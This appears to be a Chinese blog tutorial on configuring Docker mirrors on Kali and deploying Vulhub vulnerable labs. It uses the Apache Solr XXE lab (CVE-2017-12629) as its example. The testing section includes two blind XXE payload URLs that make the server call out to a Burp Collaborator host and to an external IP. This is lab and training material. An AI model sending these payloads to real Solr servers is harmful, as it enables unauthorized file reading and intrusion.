更新Kali源&&Docker vulhub 安装

更新Kali源

sudo mkdir -p /etc/docker 

sudo tee /etc/docker/daemon.json <<-'EOF'

{

"registry-mirrors": ["<https://nddt8zfh.mirror.aliyuncs.com>"] 

} 

EOF 

sudo systemctl daemon-reload 

sudo systemctl restart docker

 

 

 

 

 

 

{

"registry-mirrors":["<https://6kx4zyno.mirror.aliyuncs.com>"]

}

阿里云镜像

 

创建daemon.json文件,并将上面的镜像复制粘贴进去

sudo vim /etc/docker/daemon.json2.2 重启docker

systemctl daemon-reload

systemctl restart docker
可参考链接:https://www.cnblogs.com/kbhome/p/13041782.html

Docker vulhub 安装

安装位置:Kali

1.安装Docker

apt install docker.io

2.docker启动

systemctl start docker

(不报错就没问题)

(service docker start)

3.安装docker-compose

apt-get install docker-compose

4.下载vulhub

git clone https://github.com/vulhub/vulhub.git

(这里我没有下载完,直接把下好的压缩包,丢到Kali就行了)

(容易断开链接)(如果拉取速度太慢,可以直接下载master分支的压缩包:https://github.com/vulhub/vulhub/archive/master.zip)

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip (下载压缩包,名字为vulhub-master.zip)

unzip vulhub-master.zip(解压)

cd vulhub-master

5.启动漏洞环境

docker-compose会自动查找当前目录下的配置文件(默认文件名为docker-compose.yml),并根据其内容编译镜像和启动容器。所以, 要运行某个漏洞靶场,需要先进入该漏洞所在的目录。 在Vulhub中选择某个环境,进入对应目录。如Apache solr XML 实体注入漏洞(CVE-2017-12629)

cd solr/CVE-2017-12629-XXE(进入solr/CVE-2017-12629-XXE目录)

执行如下命令,进行漏洞靶场的编译和运行:

docker-compose build (编译环境)(可选)

docker-compose up -d (运行环境)

命令执行成功后,需要等待一会,之后访问http://your-ip:8983/即可查看到Apache solr的管理页面,无需登录

6.漏洞测试

http://your-ip:8983/

由于返回包中不包含我们传入的XML中的信息,所以这是一个Blind XXE漏洞,我们发送如下数据包(自行修改其中的XXE Payload)

http://ip:8983/solr/demo/select?q=<%3Fxml version%3D"1.0" encoding%3D"UTF-8"%3F>% 0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F% 2Frpk9704vdoy6k2tjm2951qv9208rwg.burpcollaborator.net%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot% 2F%3E&wt=xml&defType=xmlparser

http://192.168.93.131:8983/solr/demo/select?q={!xmlparser+v='<! DOCTYPE+a+SYSTEM+"http://192.168.18.170:8000">'}&wt=xml&wt=xml&defType=xmlparser

7.移除环境

Vulhub中所有环境均为漏洞靶场,在测试结束后,请及时关闭并移除环境,避免被他人恶意利用。 虽然靶场全部运行在Docker中,但大多数恶意软件并不会因为运行在容器中就失去效果! 前面说了,docker-compose会默认根据当前目录下的配置文件启动容器,在关闭及移除环境的时候,也需要在对应目录下。我们执行 docker-compose up -d后,不要离开当前目录即可,漏洞测试结束后,执行如说下命令移除环境:

docker-compose down

上述命令会执行如下几个动作:

​ 关闭正在运行的容器

​ 删除所有相关容器

​ 移除NAT(docker-compose在运行的时候会创建一个NAT网段)

但不会移除编译好的漏洞镜像,下次再执行docker-compose up -d命令,就不需要再次编译相关镜像了。

posted @ 2020-07-20 10:40  寒江独钓人  阅读(1231)  评论(0编辑  收藏  举报